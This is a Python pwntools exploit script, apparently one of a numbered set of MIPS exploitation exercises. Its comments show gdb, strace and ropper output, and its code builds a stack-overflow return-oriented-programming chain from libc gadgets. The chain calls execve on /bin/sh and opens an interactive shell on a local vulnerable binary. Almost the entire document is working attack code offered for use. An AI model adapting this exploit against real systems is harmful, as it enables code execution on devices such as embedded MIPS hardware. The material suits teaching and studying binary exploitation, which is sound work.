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07-execve-rop.py
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07-execve-rop.py
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#!/usr/bin/python
"""
(gdb) disassemble vulnerable
Dump of assembler code for function vulnerable:
0x00400780 <+0>: addiu sp,sp,-160
0x00400784 <+4>: sw ra,156(sp)
...
0x00400804 <+132>: lw ra,156(sp)
0x00400808 <+136>: lw s8,152(sp)
0x0040080c <+140>: addiu sp,sp,160
0x00400810 <+144>: jr ra
0x00400814 <+148>: nop
End of assembler dump.
(gdb) b vulnerable
Breakpoint 1 at 0x40079c: file src/07-execve-rop.c, line 6.
(gdb) b *0x00400804
Breakpoint 2 at 0x400804: file src/07-execve-rop.c, line 11.
(gdb) c
Continuing.
Breakpoint 1, vulnerable () at src/07-execve-rop.c:6
6 printf("> ");
(gdb) p &buffer[0]
$1 = 0x7fffef58 "\177~\272X\177~\243\f\177|\210D"
(gdb) p/x $sp+156
$2 = 0x7fffefdc
"""
"""
$ qemu-mips -L /usr/mips-linux-gnu/ -strace ./bin/mips/07-execve-rop
...
5552 openat(AT_FDCWD,"/lib/libc.so.6",O_RDONLY|O_CLOEXEC) = 3
...
5552 mmap2(NULL,1638448,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_DENYWRITE,3,0) = 0x7f615000
...
"""
"""
$ ropper --nocolor --file /usr/mips-linux-gnu/lib/libc-2.27.so
0x0001b1e8: lw $ra, 0x24($sp); lw $s2, 0x20($sp); lw $s1, 0x1c($sp); lw $s0, 0x18($sp); jr $ra; addiu $sp, $sp, 0x28;
0x0001ccf4: move $t9, $s0; jalr $t9; move $a0, $s1;
0x00096018: move $t9, $s0; jalr $t9; move $a1, $s1;
0x000322ac: move $t9, $s1; jalr $t9; move $a2, $s2;
0x000f64b0: lw $v0, 0x14($sp); syscall; jr $ra; move $v1, $a3;
"""
import struct
import sys
from pwn import *
context(arch='mips', os='linux', endian='big', word_size=32)
binary_path = './bin/mips/07-execve-rop'
libc_path = '/usr/mips-linux-gnu/lib/libc-2.27.so'
ra_saved_addr = 0x7fffefdc
buffer_addr = 0x7fffef58
libc_addr = 0x7f615000
lw_s0_s1_s2_addr = libc_addr + 0x0001b1e8
move_a0_s1_jump_s0_addr = libc_addr + 0x0001ccf4
move_a1_s1_jump_s0_addr = libc_addr + 0x00096018
move_a2_s2_jump_s1_addr = libc_addr + 0x000322ac
lw_v0_syscall_addr = libc_addr + 0x000f64b0
libc = ELF(libc_path)
bin_sh_addr = libc_addr + libc.search('/bin/sh\x00').next()
p = process(binary_path)
#p = gdb.debug([binary_path])
payload = ''
payload += 'a' * (ra_saved_addr - buffer_addr)
payload += p32(lw_s0_s1_s2_addr)
payload += 'b' * 0x18
payload += p32(lw_s0_s1_s2_addr) # s0
payload += p32(bin_sh_addr) # s1
payload += p32(0) # s2
payload += p32(move_a0_s1_jump_s0_addr) # ra
payload += 'c' * 0x18
payload += p32(lw_s0_s1_s2_addr) # s0
payload += p32(0) # s1
payload += p32(0) # s2
payload += p32(move_a1_s1_jump_s0_addr) # ra
payload += 'd' * 0x18
payload += p32(0) # s0
payload += p32(lw_v0_syscall_addr) # s1
payload += p32(0) # s2
payload += p32(move_a2_s2_jump_s1_addr) # ra
payload += 'e' * 0x14
payload += p32(4011) # v0
p.readuntil('> ')
p.write(payload)
p.interactive()